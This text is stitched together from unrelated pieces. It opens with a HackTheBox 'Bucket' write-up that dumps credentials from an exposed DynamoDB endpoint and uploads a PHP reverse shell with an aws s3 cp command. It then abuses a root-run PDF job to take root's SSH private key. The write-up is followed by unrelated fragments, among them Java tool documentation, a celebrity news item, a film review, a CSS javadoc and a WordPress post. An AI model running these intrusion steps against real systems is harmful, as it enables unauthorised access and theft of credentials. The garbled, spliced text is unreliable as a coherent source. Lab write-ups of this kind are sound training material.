Bucket HacktheBox Writeup
Bucket HackTheBox Writeup
First Stage : Enumeration
So first add the IP address in /etc/hosts as bucket.htb As usual we start with nmap scan.
# Nmap 7.91 scan initiated Wed Mar 3 21:57:48 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up, received reset ttl 63 (0.23s latency).
Scanned at 2021-03-03 21:57:49 IST for 249s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: <IP_ADDRESS>; OS: Linux; CPE: cpe:/o:linux:linux_kernel
So let’s visit port 80
In viewing the source code of the website we can see the s3 bucket.
Hence let’s add s3.bucket.htb in /etc/hosts file and visit it.
By visiting the website we get a simple web page showing us that the bucket is running.
So I started gobuster .
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://s3.bucket.htb/
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: js,txt,html,php,zip,json
[+] Timeout: 10s
===============================================================
2021/03/04 12:51:53 Starting gobuster
===============================================================
/shell (Status: 200)
/health (Status: 200)
/server-status (Status: 403)
===============================================================
Hence by visiting /health directory we can see that dynamodb is running. And by visiting /shell/ we get the AWS Console.
Second Stage : Initial access as www-data
So after doing some research on dynamo db I got to know some code in order to get the details of the database.
So the code for listing tables is :
var params = {
};
dynamodb.listTables(params, function(err, data) {
if (err) console.log(err, err.stack); // an error occurred
else console.log(data); // successful response
});
So the table name is users.
Hence we can describe the table in order to see the columns.
Code for describing table is :
var params = {
TableName: "users"
};
dynamodb.describeTable(params, function(err, data) {
if (err) console.log(err, err.stack); // an error occurred
else console.log(data); // successful response
});
So the table contains username and password.
Let’s scan the table for listing the contents
So the code for scanning is :
var params = {
TableName: "users"
};
dynamodb.scan(params, function(err, data) {
if (err) ppJson(err); // an error occurred
else ppJson(data); // successful response
});
Hence we got the password and username I saved it for later.
So using the aws-cli for linux I started enumerating about the server
So seeing the help command we can see we can copy files from local directory to the server.
So using this we can upload php reverse shell to the machine and get a shell.
aws –endpoint-url http://s3.bucket.htb s3 cp revshell.php s3://adserver/revshell.php && curl http://bucket.htb/revshell.php &> /dev/null
Third Stage : www-data to roy
After running linpeas and manual enumeration I didn’t find anything interesting. Hence I tried the passwords we got in database on user roy and one of them worked.
Fourth Stage : roy to root
So user roy didn’t have any sudo permissions.
Hence analyzing the open ports we get something interesting.
So portforwarding 8000 we can see a web server running.
So running gobuster gave me a hint where this web server is located in the box.
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://localhost:8000/
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: json,js,txt,html,php,zip
[+] Timeout: 10s
===============================================================
2021/03/04 15:16:22 Starting gobuster
===============================================================
/files (Status: 301)
/index.php (Status: 200)
/vendor (Status: 301)
/server-status (Status: 200)
===============================================================
So searching for vendor directory we get the location
So visiting the /var/www/bucket-app we can see the server.
Inspecting the first few lines of index.php we get some info.
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
?>
We can see that the code searches for a table name alerts , in that table is searches for the Ransomware and converts the column into PDF format and stores in /var/www/bucket-app/files/. All these process are running in root.
Exploit : So to exploit this let’s create a table named alerts and create a column named Ransomware in that we will try to get the private key of the root.
Command for creating alerts table :
aws dynamodb create-table –table-name alerts –attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S –key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE –provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 –endpoint-url http://s3.bucket.htb
Command for payload is :
aws dynamodb put-item –table-name alerts –item ‘{“title”: {“S”: “Ransomware”},“data”: {“S”: “"}}’ –endpoint-url http://s3.bucket.htb
To trigger the payload do this
So we copy the pdf to our local machine .
since we get the key we can ssh into the machine as root.


| Documentation Contents |
jrunscript [ options ] [ arguments... ]
- options
- Options, if used, should follow immediately after the command name.
- arguments
- Arguments, if used, should follow immediately after options or command name.
jrunscript is a command line script shell. jrunscript supports both an interactive (read-eval-print) mode and a batch (-f option) mode of script execution. This is a scripting language independent shell. By default, JavaScript is the language used, but the -l option can be used to specify a different language. Through Java to scripting language communication, jrunscript supports "exploratory programming" style.
NOTE: This tool is experimental and may not be available in future versions of the JDK.
- -classpath path
- Specify where to find the user's .class files that are accessed by the script.
- -cp path
- This is a synonym for -classpath path
- -Dname=value
- Set a Java system property.
- -J<flag>
- Pass <flag> directly to the Java virtual machine on which jrunscript is run.
- -l language
- Use the specified scripting language. By default, JavaScript is used. Note that to use other scripting languages, you also need to specify the corresponding script engine's jar file using -cp or -classpath option.
- -e script
- Evaluate the given script. This option can be used to run "one liner" scripts specified completely on the command line.
- -encoding encoding
- Specify the character encoding used while reading script files.
- -f script-file
- Evaluate the given script file (batch mode).
- -f -
- Read and evaluate a script from standard input (interactive mode).
- -help
- Output help message and exit.
- -?
- Output help message and exit.
- -q
- List all script engines available and exit.
If [arguments...] are present and if no -e or -f option is used, then the first argument is the script file and the rest of the arguments, if any, are passed as script arguments. If [arguments..] and -e or -f option are used, then all [arguments..] are passed as script arguments. If [arguments..], -e and -f are missing, interactive mode is used. Script arguments are available to a script in an engine variable named "arguments" of type String array.
jrunscript -e "print('hello world')" jrunscript -e "cat('http://java.sun.com')"
jrunscript -l js -f test.js
jrunscript js>print('hello world'); hello world js>34 + 55 89 js> thread(function() { print('hello world'); } hello world js>
test.js is script file to execute and arg1, arg2 and arg3 are passed to script as script arguments. Script can access these using "arguments" array.jrunscript test.js arg1 arg2 arg3
If JavaScript is used, then before evaluating any user defined script, jrunscript initializes certain built-in functions and objects. These JavaScript built-ins are documented in jsdocs.
Copyright © 1993, 2011, Oracle and/or its affiliates. All rights reserved. Please send comments using this Feedback page. |
Java Technology |


Introduction
MakeDeveloper is a platform for the students interested in Software Development with a purpose to build a better developer culture, building some interesting projects, which will be useful for society, organisations and to improve participants' knowledge and prepare them to enter the Open Source community We are working on several projects covering important fields of computer science like Machine Learning , Android app development , Web development , Blockchain , Cyber security etc. , where our mentors are guiding students in making their projects.


What might be right for you may not be right for some. And we know Flipper lives in a world full of wonder flying there-under under the sea.
Best check yo self, you're not looking too good. Nulla vitae elit libero, a pharetra augue. Praesent commodo cursus magna, vel scelerisque nisl consectetur et.


This list is intended to show all of the services and accounts that we hold, and who has access to them. We should have overlapping access to all services for the "got hit by a bus" scenario
If there are services missing, or incorrect access levels called out please open an issue on the repo. This site is intended for internal use only and no keys or passwords are to be presented here. This is informational only and any access details should be kept else where.


A helper is someone who does some of the job the worker is hired to do, either for or with them.
For example - if a lecturer was hired by a university to write and deliver a study module:


Top 10 used Language!
The English language is the primary language of several countries (including Australia, Canada, New Zealand, the United Kingdom, and the United States) and a second language in a number of multilingual countries (including India, Singapore, and the Philippines).
Tagalog
Is the standard register of the Tagalog language, an Austronesian, regional language that is widely spoken in the Philippines. As of 2007, Tagalog is the first language of 28 million people, or about one-third of the Philippine population, while 45 million speak Filipino as their second language.
Filipino
Is also designated, along with English, as an official language of the country. It is the standard register of the Tagalog language, an Austronesian, regional language that is widely spoken in the Philippines.
Siswati
Is a Bantu language of the Nguni group spoken in Swaziland and South Africa by the Swazi people. The number of speakers is estimated to be in the region of 3 million.
Mandarin
Is a group of related varieties of Chinese spoken across most of northern and southwestern China. The group includes the Beijing dialect, the basis of Standard Chinese, which is also referred to as "Mandarin". Because most Mandarin dialects are found in the north, the group is sometimes referred to as the Northern dialects (北方话; běifānghuà). Many local Mandarin varieties are not mutually intelligible. Nevertheless, Mandarin is often placed first in any list of languages by number of native speakers.
Spanish
Is a Romance language that originated in the Castile region of Spain and today has hundreds of millions of native-speakers across the world.
Hindi
Modern Standard Hindi (Hindi: मानक हिन्दी mānak hindī) or simply Hindi (Hindi: हिन्दी hindī), is a standardised and Sanskritised register of the Hindustani language. Hindi is one of the official languages of the Union of India, and the lingua franca of the Hindi belt languages.
Add comment...


{% extends "layout.html" %} {% block content %}
Recipe Name
Description
Picture Url
Ingredients
Cooking Method
Cooking time (minutes)
Ethnicity
Course


The Story Behind....
Over the last 4 years of doing digital marketing, we noticed a trend among our clients. They were not able to achieve their marketing goals, yet they kept creating new content, and pushing it. In fact, one of them had already published over 10,000 pieces of content. What really was the problem? What could we really do about it? For that client, we repackaged several pieces of content. To our surprise, this content was even outdoing the newly created one. The question lingered though...what would be a lasting solution?


The 31-year-old - who battles crippling anxiety - recently claimed he isn't taken seriously in the industry because he's an X Factor winner.
The singer today revealed his staff will take over his Twitter account moving forward.
He wrote this morning: "Have to be honest some of the things I read on here go a bit toot far and quite frankly f***in hurt, if that was your goal you win Maybe I should have thicker skin at this point I don’t know but either way this is my last tweet, I’m loggin off. Peace out Twitter friends.
"All posts will be done by digital team moving forward. Thanks for all the love and support shown by fans on this platform over the years it’s been emotional but I’ve gotta delete this app. Much love and respect JA."
James deleted the app soon after revealing a teaser to his new video Quite Miss Home.
It was a surprise to fans who have been sending him supportive messages in the wake of his statement.
The 31-year-old spoke out about the pressures of his industry as he claimed the likes of Lewis Capaldi, James Bay and Rag'n'Bone Man are taken more seriously than him.
He told The Sun: “I don’t know whether the music industry really wants an X Factor winner to reach the kind of heights I have.
“There’s a lot of guys that come up and have a lot of success very quickly and get a lot of accolades, that are doing a pretty similar thing to what I’m doing.
“I’d be lying if I said that didn’t hurt sometimes ’cause I’m still here and I feel like the quality of what I’m doing is above a lot of these guys who get so much praise.”
James won The X Factor in 2012. Last month he released his highly anticipated third album You.


--- title: "[선형대수학] 기저변환" author: beanbeantree date: '2021-01-21' slug: linear-algebra-change-of-basis categories: - 수학 - 선형대수학 tags: [] keywords: - tech output: blogdown::html_page: toc: true description: 기저변환 ---


POPCORN A review in the public domain by The Phantom<EMAIL_ADDRESS>Good horror films are few and far between, but good horror film spoofs are so rare as to be an endangered species. POPCORN is, sadly, not such a rare breed; if RETURN OF THE LIVING DEAD or NIGHT OF THE CREEPS are California condors, POPCORN is more like a New York pigeon: it's a film that's messy, unavoidable, and not too bright.
On the other hand, who could argue with the film's tag line, which is easily the cleverest thing about it. For weeks before it opened, advertisements were plastered throughout the New York City subway system, in every major newspaper, on television, and even in participating video stores -- which only goes to show that the producers know where lies their largest audience. For weeks we read the fruits of some anonymous advertising exec's late-night brainstorm: "Buy a bag... go home in a box." Chilling, no?
Well, no. The film's poster is nicely designed and features a skull hiding behind the mask of a young girl's face. While this has as little to do with the film as does the tag line, it does make for an aesthetically pleasing poster, and given the state of the New York City subways, the Phantom would never argue against a pleasant-looking -- though terribly misleading -- movie poster. The film itself features neither skulls nor bags, and the only box in POPCORN is the one the writers get themselves into fairly early on. Happily though, there is in fact some popcorn in the film, albeit less than there was on the theater floor during the Phantom's showing.
What there isn't is even a half-dozen suspenseful scenes, two or three credible characters, acting at a level above a high school "Our Town" production, or a remotely believable plot. Taken at face value, POPCORN is not exactly food for the hungry horror phan, though if one ignores the misleading advertising and takes it as what the Phantom will bet it was intended as -- a relatively harmless and exceedingly mild spoof of all the corny 1950s horror films we so loved on Saturday afternoons and late Sunday nights on Chiller Theater -- it's just barely enough to tide you over until heartier fare is served.
It took a while before it occurred to the Phantom that the filmmakers could not possibly have intended us to take POPCORN seriously, but that points out one of its worst failings as a horror parody: for a film that was intended to satirize recent and not so recent horror films, it's neither outrageously funny, ridiculously gory, laughingly scripted nor paced and acted as if Edward D. Wood Jr. -- father of the classic PLAN 9 FROM OUTER SPACE -- were directing from beyond the grave. Most of the time, POPCORN just sits there like the unpopped, bottom-of-the-bag kind of film it is, going through the all too familiar paces of a half-baked horror sendup. By the time the film was half over, the Phantom had thoughts of some of POPCORN's brothers in horror parody failure: STUDENT BODIES, SATURDAY THE 14TH, TRANSYLVANIA 6-5000. And his thoughts were these: "I wonder if I should leave now and get an early start on my tax return." Sadly, the Phantom's taxes remain unpaid and as the evening wore on, his dreams for a satisfying horror film went unfulfilled.
The plot -- such as it is -- is held together with what turns out to be yet another spoof, though alas not a very successful one. While an audience is assembled to watch a "horror-thon", a vengeful psychopath takes his revenge (as vengeful psychopaths often do) on the members of the film school class who are running the show. These poor folks need to raise money to continue their brave efforts at independent filmmaking, or perhaps to exhume Mr. Wood to direct POPCORN II -- the Phantom wasn't quite clear on this point, his thoughts having begun their inexorable drift to the ides of April even at that early stage. Nonetheless, the resourceful auteurs-to-be shortly set to work at the horror film spoof equivalent of fixing up the old barn to put on a show: renovating a local theater palace and preparing to put on a triple-bill of old horror and science fiction duds from the fifties, evidently expecting people to pay $10 to see ancient classics presented complete with their original in-theater special effects, including the miracle of 3-D, the miracle of Shock-O-Vision, and the miracle of Smell-O-Vision. As the Phantom himself had just paid $7.50 (plus $2 for soda) to see POPCORN -- in the miracle of Soon-To-Be-On-Cable-Vision -- he wasn't at all surprised to see the auditorium soon fill to capacity with lovers of schlock cinema.
Naturally, once the shows begin the poor film students start getting dispatched in ways that mirror -- more or less -- the action on the screen. Curiously, the action on *their* screen is much more enjoyable and much better done than is the action on ours. POPCORN succeeds to some small degree in satirizing hoary old shockers like TARANTULA; it does less well with a parody of a random "Incredible Blah Blah Blah Man" flick, and by the time the film arrives at "The Stench" -- yes, that's the name, not the review, folks -- the Phantom wasn't quite sure what on Earth was being sent up. But the film itself is only interesting during those brief, voyeuristic periods when we're watching what everyone in the film is watching. Once their -- and our -- attention returns to the action in the theater itself, it's time to start contemplating our withholding statements again.
But what if the inept action off-screen was *also* intended to be a parody? By the time he'd begun to consider whether he was making a sufficiently large contribution to his IRA, it dawned on the Phantom that the filmmakers surely could not have meant anyone to take *any* of the film seriously -- unlike, say, DAWN OF THE DEAD or AN AMERICAN WEREWOLF IN LONDON, POPCORN was not supposed to be a horror film with elements of parody. Instead, they must have intended the film *itself* to be a spoof. This put things in a different light, though sadly not in a more favorable one, for it turns out that POPCORN spends most of its time attempting unsuccessfully to parody the worst cliches from some of the worst of the early-eighties slash-and-trash horror films. In case you managed to avoid the great tidal waves of FRIDAY THE 13TH clones and knockoffs that washed up on the shores of the horror cinema a decade ago, stop by your local Blockbusters and rent the absolute nadir of the genre, HAPPY BIRTHDAY TO ME.  It's the sort of film in which the sheer number and kinds of killings were advertised as pretty much the only reason to see it -- after all, where else could you see teenagers killed with fireplace pokers and dumb bells and spatulas and tuning forks and the like? Best of all, it was named after a holiday, which as everyone who's been a horror phan since HALLOWEEN knows is a sure way to make a few extra bucks at the box office. We missed GROUND HOG'S DAY: THE SHADOW'S REVENGE, but we got GRADUATION DAY, MY BLOODY VALENTINE, NEW YEAR'S EVIL, SILENT NIGHT, DEADLY NIGHT, and on and on. We even got THE DAY AFTER HALLOWEEN, surely one of the most cynically titled films of all time (though BEYOND THE FOG -- a film that had as little to do with THE FOG as THE DAY AFTER HALLOWEEN had to do with HALLOWEEN -- runs a close second).
Such films should be simple to parody -- after all, their premises are so predictable, their "surprises" are so unsurprising, and their acting and dialog are so awful -- but although POPCORN comes close at times, it really never has its heart in it -- it never really lets loose and becomes a classic like NIGHT OF THE CREEPS, EVIL DEAD 2, REANIMATOR or RETURN OF THE LIVING DEAD. Instead, it's a parody done with the straightest of faces, one that fritters away its entire first half setting up a NIGHTMARE ON ELM STREET-like plot just to discard it and head for the ridiculous in the last third of the film. POPCORN feels a lot like a film that was designed by a committee, or perhaps a film started by one person and finished by someone else. Regardless, it winds up as an abject failure of a horror film, and a big disappointment of a horror film parody.
It's a shame, really, because POPCORN does have some intentionally -- or so the Phantom assumes -- hilarious moments, and the whole premise of the film did manage to get the Phantom's mind off his 1040 every so often. It might work better, perhaps, for those phans who can remember seeing horror films in the fifties and sixties, back before the advent of Cinema 1-2-3-N and video, when in-theater special effects were the rage and just going to a movie at all was a special event. The Phantom himself indulged in some mock nostalgia, since although he's too young to remember those days, he does have a great fondness for the Rialtos and Bijous of days gone by.
But alas, there is little more than that to recommend POPCORN. Although this is the first horror film (parody or not) to be released in a couple of months, it's no longer the only one out there, as THE SILENCE OF THE LAMBS will be in general release in a matter of days. At best, POPCORN is the very definition of a "wait for video" horror film, and then only if all the copies of MISERY have already been rented.
Horror film parodies are indeed hard to find, and if the Phantom's review has piqued your curiousity, you might want to give EVIL DEAD 2 a try (though you should see the first one first, if only so you'll know what's being parodied). RETURN OF THE LIVING DEAD, directed by Dan O'Bannon, does a fine job of sending up George Romero's horror classic -- when shooting a zombie in the head fails to stop it, one character even says "But it worked in the movie!" -- and in it's own strange way, CHILD'S PLAY still stands as one of the best slash-and-trash parodies ever made (in addition to being a great horror film in its own right). The $7.50 you'll save by avoiding POPCORN will more than cover the rental fees for all three of these films, and you'll surely be able to keep your mind off your taxes longer than the Phantom was able to. Given that POPCORN will probably appear on video around the middle of April, this seems particularly appropriate.
: The Phantom<EMAIL_ADDRESS>: {cmcl2,uunet}!esquire!baumgart
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


test.integration.com.metasieve.shoppingcart
Interfaces
Classes
QuantityTests
ShoppingCartServiceTests
ShoppingCartTagLibTests
ShoppingCartTestProductTests
ShoppingCartTests
ShoppingItemTests
TestShoppingCartControllerTests


I just found out something interesting & want to share, in case someone didn't know yet
curl -s --url "http://<IP_ADDRESS>:7776" --data "{\"agent\":\"dpow\",\"method\":\"active\"} " | jq -cr '.[] | select(.recvmask != " 0") | .'
output (if I'm not mistaken, blackjok3r told me that this only show the output for BEER chain)
{"notary":"blackjok3r","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
{"notary":"Strob","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
{"notary":"jorian","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
{"notary":"PHBA2061","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
{"notary":"Lumbi","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
{"notary":"ComputerGenie","bestk":12,"recvmask":" 195a","bestmask":" 195a"}
{"notary":"mrlynch","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
{"notary":"karasugoi","bestk":12,"recvmask":" 100195a","bestmask":" 195a"}
If you convert bestmask into binary value, it gives 0001 1001 0101 1010 , read it from right to left and compare to the NN list in testnet.json file (starting with Alright and ending with karasugoi), then the position of the "seven 1 bit" of bestmask correspond to blackjok3r (position 2), Strob (4), jorian (5) , PHBA2061 (7), Lumbi (9), ComputerGenie (12) & mrlynch (13). And those are the people who signed the multisig tx.
Please correct me if I'm wrong
(edited)


A unique rate and review website to make luxe designer shopping easier, Faisean Rata’s fashion-forward community posts detailed reviews about their favourite designers’ latest collections. A useful tool for fashion enthusiasts and designers alike, it’s super easy to start engaging through our website.
If you’re a shopaholic and/or an expert on all things sartorial, here’s what you have to do. After creating an account {you can sign up through Facebook or Google as well}, pick the designer you want to read about from our list. We provide information about their newest collections, their design inspiration and events that you can catch them at. Then, write about them! Tell fellow community members about your favourite pieces, possible options for customization and your shopping experience.
Become an influencer – rack up 50 points for each review you post and 10 points for each rating you give – as you gain followers and credibility.
This unique fashion ecosystem is an interactive platform for designers to showcase their creations. If you’re a wardrobe wizard/fashion designer, you can connect with prospective buyers through our portal. All you need to do is send us some deets and high-resolution images of your collections and we take care of the rest. As your designs are rated and reviewed, you could be featured on our lists of ‘Top Rated Designers’, ‘Top Rated Designs’ and ‘Recently Reviewed Designers’.
The best bit? We’re not a sales portal, so this service is completely free and dedicated solely to the love of fashion.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface LexicalUnits
This interface defines the constants that represent CSS lexical units.
| Field Summary | |
|---|---|
static int |
ANY
Represents the '*' lexical unit. |
static int |
AT_KEYWORD
Represents the '@ident' lexical unit. |
static int |
CDC
Represents the '-->' lexical unit. |
static int |
CDO
Represents the '<!--' lexical unit. |
static int |
CHARSET_SYMBOL
Represents the '@charset' lexical unit. |
static int |
CM
Represents a cm lexical unit. |
static int |
COLON
Represents the ':' lexical unit. |
static int |
COMMA
Represents the ',' lexical unit. |
static int |
COMMENT
Represents the comment lexical unit. |
static int |
DASHMATCH
Represents the '|=' lexical unit. |
static int |
DEG
Represents a deg lexical unit. |
static int |
DIMENSION
Represents a dimension lexical unit. |
static int |
DIVIDE
Represents the '/' lexical unit. |
static int |
DOT
Represents the '.' lexical unit. |
static int |
EM
Represents a em lexical unit. |
static int |
EOF
Represents the EOF lexical unit. |
static int |
EQUAL
Represents the '=' lexical unit. |
static int |
EX
Represents a ex lexical unit. |
static int |
FONT_FACE_SYMBOL
Represents the '@font-face' lexical unit. |
static int |
FUNCTION
Represents a 'ident(' lexical unit. |
static int |
GRAD
Represents a grad lexical unit. |
static int |
HASH
Represents the '#name' lexical unit. |
static int |
HZ
Represents a hz lexical unit. |
static int |
IDENTIFIER
Represents the identifier lexical unit. |
static int |
IMPORT_SYMBOL
Represents the '@import' lexical unit. |
static int |
IMPORTANT_SYMBOL
Represents the '!important' lexical unit. |
static int |
IN
Represents a in lexical unit. |
static int |
INCLUDES
Represents the '~=' lexical unit. |
static int |
INTEGER
Represents an integer. |
static int |
KHZ
Represents a khz lexical unit. |
static int |
LEFT_BRACE
Represents the '(' lexical unit. |
static int |
LEFT_BRACKET
Represents the '[' lexical unit. |
static int |
LEFT_CURLY_BRACE
Represents the '{' lexical unit. |
static int |
MEDIA_SYMBOL
Represents the '@media' lexical unit. |
static int |
MINUS
Represents the '-' lexical unit. |
static int |
MM
Represents a mm lexical unit. |
static int |
MS
Represents a ms lexical unit. |
static int |
PAGE_SYMBOL
Represents the '@page' lexical unit. |
static int |
PC
Represents a pc lexical unit. |
static int |
PERCENTAGE
Represents a % lexical unit. |
static int |
PLUS
Represents the '+' lexical unit. |
static int |
PRECEDE
Represents the '>' lexical unit. |
static int |
PT
Represents a pt lexical unit. |
static int |
PX
Represents a px lexical unit. |
static int |
RAD
Represents a rad lexical unit. |
static int |
REAL
represents a real number. |
static int |
RIGHT_BRACE
Represents the ')' lexical unit. |
static int |
RIGHT_BRACKET
Represents the ']' lexical unit. |
static int |
RIGHT_CURLY_BRACE
Represents the '}' lexical unit. |
static int |
S
Represents a s lexical unit. |
static int |
SEMI_COLON
Represents the ';' lexical unit. |
static int |
SPACE
Represents the white space lexical unit. |
static int |
STRING
Represents the string lexical unit. |
static int |
UNICODE_RANGE
Represents a unicode range lexical unit. |
static int |
URI
Represents a 'url(URI)' lexical unit. |
| Field Detail |
|---|
static final int EOF
static final int LEFT_CURLY_BRACE
static final int RIGHT_CURLY_BRACE
static final int EQUAL
static final int PLUS
static final int MINUS
static final int COMMA
static final int DOT
static final int SEMI_COLON
static final int PRECEDE
static final int DIVIDE
static final int LEFT_BRACKET
static final int RIGHT_BRACKET
static final int ANY
static final int LEFT_BRACE
static final int RIGHT_BRACE
static final int COLON
static final int SPACE
static final int COMMENT
static final int STRING
static final int IDENTIFIER
static final int CDO
static final int CDC
static final int IMPORTANT_SYMBOL
static final int INTEGER
static final int DASHMATCH
static final int INCLUDES
static final int HASH
static final int IMPORT_SYMBOL
static final int AT_KEYWORD
static final int CHARSET_SYMBOL
static final int FONT_FACE_SYMBOL
static final int MEDIA_SYMBOL
static final int PAGE_SYMBOL
static final int DIMENSION
static final int EX
static final int EM
static final int CM
static final int MM
static final int IN
static final int MS
static final int HZ
static final int PERCENTAGE
static final int S
static final int PC
static final int PT
static final int PX
static final int DEG
static final int RAD
static final int GRAD
static final int KHZ
static final int URI
static final int FUNCTION
static final int UNICODE_RANGE
static final int REAL
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


--- layout: post title: First steps with WordPress date: 2010-03-14 23:56:59.000000000 +01:00 type: post published: true status: publish categories: - Coding tags: - colorbox - howto - wordpress meta: _edit_last: '1' bfa_ata_body_title: First steps with Wordpress bfa_ata_display_body_title: '' bfa_ata_body_title_multi: First steps with Wordpress bfa_ata_meta_title: '' bfa_ata_meta_keywords: '' bfa_ata_meta_description: '' _sexybookmarks_shortUrl: http://b2l.me/atxqh7 _sexybookmarks_permaHash: c8bff3bcdf84650dd56998863d4091b5 dsq_thread_id: '145746790' author: login: bbWebdesign email<EMAIL_ADDRESS>display_name: Bob first_name: Bob last_name: Belderbos ---
Wow this is nice. I needed a more automatic way to blog, but I didn't want to separate it from my main website.
I found a easy + complete solution which I will detail below. My initial skepticism of CMS was blown away seeing the power and flexibility of Wordpress. I only have "touched" the surface, there is much more to find out ..
Quick howto:
a- install wordpress on your domain server. Just upload the wordpress-2.9.x zipfile and put it in a dedicated directory, for example www.mydomain.com/blog. The setup is really easy: create a database and provide the db credentials via the initial webpage. it is recommended to keep this info outside public_html of course
b- pick a nice theme and customize it. There are many beautiful themes and with a little tweaking you have something nice in 15-30 min.
c- embed your latest posts into your existing site with a few lines of php: query_posts('showposts=xx').. .. see this howto
d- (optional) install colorbox, a very nice Jquery plugin, that allows you to show the Wordpress blog in an iframe so that visitors stay on your site. This is a personal flavor, this way I didn't have to make navigation links from my wordpress page back to my site and the whole design just feels more consistent.


